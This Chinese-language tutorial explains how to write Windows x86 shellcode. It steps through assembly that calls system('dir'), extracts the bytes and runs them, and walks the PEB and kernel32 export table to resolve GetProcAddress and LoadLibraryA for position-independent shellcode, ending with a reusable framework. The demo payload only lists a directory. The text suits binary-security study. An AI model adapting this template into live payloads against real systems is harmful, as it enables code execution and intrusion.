Windows下Shellcode编写详解
字数 791 2025-08-25 22:59:03
Windows下Shellcode编写详解
概述
Shellcode是二进制安全学习中的重要内容,是漏洞利用的关键部分。本文详细介绍了Windows平台下Shellcode的编写方法,从基础到独立Shellcode的完整实现。
基础Shellcode编写
基本流程
- 获取目标函数的内存地址
- 将函数调用转换为汇编代码
- 处理字符串参数
- 调用函数
- 恢复堆栈平衡
示例:system("dir")
#include "windows.h"
#include "stdio.h"
int main() {
HINSTANCE LibHandle = LoadLibrary("msvcrt.dll");
printf("msvcrt Address = 0x%x \n",LibHandle);
LPTSTR getaddr = (LPTSTR)GetProcAddress(LibHandle, "system");
printf("system Address = 0x%x \n", getaddr);
getchar();
return 0;
}
汇编实现:
void main() {
_asm {
// system("dir");
push ebp
mov ebp,esp
xor ebx,ebx
push ebx
mov byte ptr [ebp-04h],64h ; 'd'
mov byte ptr [ebp-03h],69h ; 'i'
mov byte ptr [ebp-02h],72h ; 'r'
lea ebx, [ebp-04h]
push ebx
mov ebx,0x74deb16f ; system函数地址
call ebx
add esp,0x4 ; 恢复堆栈
pop ebx
pop ebp
}
}
优化版本
使用dword操作减少指令数量:
push ebp
mov ebp,esp
sub esp,0x4
xor ebx,ebx
mov ebx,0x00726964 ; 'dir'反转并补零
mov dword ptr[ebp-04h],ebx
lea ebx, [ebp-04h]
push ebx
mov ebx,0x74deb16f
call ebx
add esp,0x4
pop ebx
pop ebp
通用模板
push ebp
mov ebp,esp ; 保存栈指针
sub esp,0xffffffff ; 开辟栈空间
xor eax,eax ; 清零寄存器
push eax ; 压入通用寄存器
mov dword ptr[ebp-xxxh],eax ; 参数入栈
lea eax,[ebp-xxxh] ; 取参数地址入口
push eax
mov eax,0XFFFFFFFF ; 需要调用的函数地址
call eax ; 执行函数
add esp,0xffffffff ; 平衡堆栈
pop eax ; 恢复寄存器
pop ebp
Shellcode提取
使用VC++6.0调试模式查看机器码,示例提取结果:
unsigned char shellcode[] =
"\x55\x8B\xEC\x83\xEC\x04\x33\xDB\xBB\x64\x69\x72\x00\x89\x5D\xFC"
"\x8D\x5D\xFC\x53\xBB\x6F\xB1\xDE\x74\xFF\xD3\x83\xC4\x04\x5B\x5D\xC3";
执行方式:
((void (*)())&shellcode)();
独立Shellcode编写
独立Shellcode不依赖外部查找函数地址,能够自动定位所需函数。
核心步骤
- 找到kernel32.dll被加载到内存中
- 找到其导出表
- 找到GetProcAddress函数
- 使用GetProcAddress查找LoadLibrary函数地址
- 使用LoadLibrary加载动态链接库
- 在动态链接库中找到目标函数地址
- 调用函数
- 查找ExitProcess函数地址
- 调用ExitProcess函数
详细实现
1. 查找kernel32.dll基地址
xor ecx, ecx
mov eax, fs:[ecx + 0x30] ; EAX = PEB
mov eax, [eax + 0xc] ; EAX = PEB->Ldr
mov esi, [eax + 0x14] ; ESI = PEB->Ldr.InMemOrder
lodsd ; EAX = Second module
xchg eax, esi ; EAX = ESI, ESI = EAX
lodsd ; EAX = Third(kernel32)
mov ebx, [eax + 0x10] ; EBX = Base address
2. 查找导出表
mov edx, [ebx + 0x3c] ; EDX = DOS->e_lfanew
add edx, ebx ; EDX = PE Header
mov edx, [edx + 0x78] ; EDX = Offset export table
add edx, ebx ; EDX = Export table
mov esi, [edx + 0x20] ; ESI = Offset names table
add esi, ebx ; ESI = Names table
xor ecx, ecx ; EXC = 0
3. 查找GetProcAddress
Get_Function:
inc ecx ; Increment the ordinal
lodsd ; Get name offset
add eax, ebx ; Get function name
cmp dword ptr[eax], 0x50746547 ; 'GetP'
jnz Get_Function
cmp dword ptr[eax + 0x4], 0x41636f72 ; 'rocA'
jnz Get_Function
cmp dword ptr[eax + 0x8], 0x65726464 ; 'ddre'
jnz Get_Function
mov esi, [edx + 0x24] ; ESI = Offset ordinals
add esi, ebx ; ESI = Ordinals table
mov cx, [esi + ecx * 2] ; CX = Number of function
dec ecx
mov esi, [edx + 0x1c] ; ESI = Offset address table
add esi, ebx ; ESI = Address table
mov edx, [esi + ecx * 4] ; EDX = Pointer(offset)
add edx, ebx ; EDX = GetProcAddress
4. 获取LoadLibraryA地址
xor ecx, ecx ; ECX = 0
push ebx ; Kernel32 base address
push edx ; GetProcAddress
push ecx ; 0
push 0x41797261 ; 'aryA'
push 0x7262694c ; 'Libr'
push 0x64616f4c ; 'Load'
push esp ; "LoadLibrary"
push ebx ; Kernel32 base address
call edx ; GetProcAddress(LL)
add esp, 0xc ; pop "LoadLibrary"
5. 加载msvcrt.dll
pop ecx ; ECX = 0
push eax ; EAX = LoadLibrary
push ecx
mov cx, 0x6c6c ; 'll'
push ecx
push 0x642e7472 ; 'rt.d'
push 0x6376736d ; 'msvc'
push esp ; "msvcrt.dll"
call eax ; LoadLibrary("msvcrt.dll")
6. 获取system函数地址
add esp, 0x10 ; Clean stack
mov edx, [esp + 0x4] ; EDX = GetProcAddress
xor ecx, ecx ; ECX = 0
push ecx ; 73797374 656d
mov ecx,0x61626d65 ; 'emba'
push ecx
sub dword ptr[esp + 0x3], 0x61 ; Remove 'a'
sub dword ptr[esp + 0x2], 0x62 ; Remove 'b'
push 0x74737973 ; 'syst'
push esp ; "system"
push eax ; msvcrt.dll address
call edx ; GetProc(system)
7. 调用system函数
add esp, 0x10 ; Cleanup stack
push ebp
mov ebp,esp
sub esp,0x4 ; 准备空间
xor esi,esi
mov esi,0x00726964 ; 'dir'
mov dword ptr[ebp-04h],esi
lea esi, [ebp-04h]
push esi
call eax ; system("dir")
add esp, 0x8 ; Clean stack
pop esi
8. 获取ExitProcess地址
pop edx ; GetProcAddress
pop ebx ; kernel32.dll base address
mov ecx, 0x61737365 ; 'essa'
push ecx
sub dword ptr [esp + 0x3], 0x61 ; Remove 'a'
push 0x636f7250 ; 'Proc'
push 0x74697845 ; 'Exit'
push esp
push ebx ; kernel32.dll base address
call edx ; GetProc(Exec)
9. 调用ExitProcess
xor ecx, ecx ; ECX = 0
push ecx ; Return code = 0
call eax ; ExitProcess
独立Shellcode框架
; 查找kernel32.dll和GetProcAddress
xor ecx, ecx
mov eax, fs:[ecx + 0x30]
[...查找过程...]
mov edx, [esi + ecx * 4]
add edx, ebx ; EDX = GetProcAddress
; 获取LoadLibraryA
xor ecx, ecx
push ebx
[...获取过程...]
call edx ; GetProcAddress(LL)
add esp, 0xc
; 加载DLL
pop ecx
push eax
; DLL文件字符串
; push 0xffffffff
push esp ; "xxx.dll"
call eax ; LoadLibrary
; 查找目标函数
add esp, 0xff
mov edx, [esp + 0x4]
; 函数字符串
; push 0xffffffff
push esp ; "xxx函数"
push eax ; xxx.dll address
call edx ; GetProc(xxx函数)
; 执行核心程序
[...Shellcode利用程序...]
; 退出程序
pop edx
pop ebx
mov ecx, 0x61737365
[...ExitProcess调用...]
结语
Shellcode编写需要掌握PE结构、函数调用约定和汇编语言。本文从基础到独立Shellcode的实现,提供了完整的编写框架。实际应用中还需要考虑:
- 避免坏字符(如\x00)
- 优化Shellcode大小
- 多平台兼容性
- 编码/解码技术
推荐工具:shellen